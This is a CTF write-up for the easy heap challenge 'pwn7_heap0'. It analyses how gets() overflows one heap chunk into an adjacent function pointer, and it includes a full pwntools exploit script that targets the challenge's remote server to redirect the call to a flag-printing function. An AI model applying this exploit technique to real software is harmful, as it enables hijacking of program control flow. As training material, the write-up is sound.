pwn7_heap0
pwn7_heap0
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: exact_pad_from_chunk_leaks, heap_overflow_into_function_pointer, pie_base_from_main_leak, ret2win
Summary
Task: intro heap challenge — two adjacent malloc chunks where the second holds a function pointer that is later called; an unbounded gets() into the first chunk overflows into the second chunk's fnptr. Solution: parse the leaked buf1/buf2/main addresses, compute exact pad = buf2 - buf1 (0x50) and PIE base = main_leak - 0x11bb, overwrite the fnptr with winner (system("cat flag.txt")) and trigger the call.
pwn7_heap0 — pwn_spbctf
Description
Just do that
(heap, tier pwn7, author Artur Khanov / @awengar; remote
nc 109.233.56.90 11750, platform pwn.spbctf.ru)
A 64-bit ELF (heap0.elf) allocates two heap chunks, stores a function pointer
in the second, reads attacker input into the first via gets(), then calls the
function pointer. The goal is to redirect that call to a winner function that
runs system("cat flag.txt").
Analysis
checksec: PIE, NX, no stack canary, Partial RELRO, not stripped.
main is at PIE-relative offset 0x11bb. Its logic:
buf1 = malloc(0x40)— first chunk (0x50 including header/alignment).buf2 = malloc(8)— second chunk, immediately adjacent.*(void**)buf2 = nowinner— store a benign function pointer (nowinner@0x11a8).printf("data is at %p, fp is at %p, main at %p", buf1, buf2, main)— leaks both heap chunk addresses and the runtime address ofmain(gives both a heap leak and a PIE-base leak).gets(buf1)— unbounded read into the 0x40 chunk: a classic heap buffer overflow that runs straight into the adjacentbuf2chunk and overwrites the function pointer stored there.rdx = *(void**)buf2; call rdx— calls whatever pointer now sits inbuf2.
Relevant functions:
winner@0x1189—system("cat flag.txt"), printslevel passed+ flag.nowinner@0x11a8— the harmless default.
Because the program leaks the chunk addresses, there is no guessing involved:
the overflow distance is exactly buf2 - buf1. From the observed leaks the
chunks are at ...2a0 and ...2f0, so the pad is 0x50 bytes, after which the
next 8 bytes land directly on the function pointer.
Solution
Steps:
- Receive the leak line and regex out the three
0x...values:buf1,buf2,main_leak. base = main_leak - 0x11bb(PIE base). Verified, e.g.main 0x57bd732241bb -> base 0x57bd73223000.winner = base + 0x1189.pad = buf2 - buf1(==0x50here). Compute it from the leaks rather than hardcoding, so it adapts to any alignment.- Send
b"A" * pad + p64(winner)withgets(newline-terminated). Ifp64(winner)happens to contain a0x0abyte,getswould truncate it — just reconnect to get a different PIE base (the provided script retries). call rdxnow jumps towinner, which runssystem("cat flag.txt")and printslevel passed+ the flag. No rate limit on this server.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import re, time HOST, PORT = "109.233.56.90", 11750 context.arch = "amd64" WINNER_OFF = 0x1189 MAIN_OFF = 0x11bb def attempt(): io = remote(HOST, PORT) line = io.recvline(timeout=15) # data is at 0x..., fp is at 0x..., main at 0x... leaks = [int(x, 16) for x in re.findall(rb"0x[0-9a-fA-F]+", line)] if len(leaks) < 3: io.close(); return None buf1, buf2, main_leak = leaks[0], leaks[1], leaks[2] base = main_leak - MAIN_OFF winner = base + WINNER_OFF pad = buf2 - buf1 # exact distance, no guessing (== 0x50) wbytes = p64(winner) if b"\n" in wbytes: # gets() would truncate -> reconnect io.close(); return None io.sendline(b"A" * pad + wbytes) try: data = io.recvall(timeout=10) except EOFError: data = b"" io.close() m = re.search(rb"SPBCTF\{[^}]*\}", data, re.IGNORECASE) return m.group().decode() if m else None def main(): for _ in range(8): try: f = attempt() except Exception: f = None if f: print("FLAG:", f); return time.sleep(5) if __name__ == "__main__": main()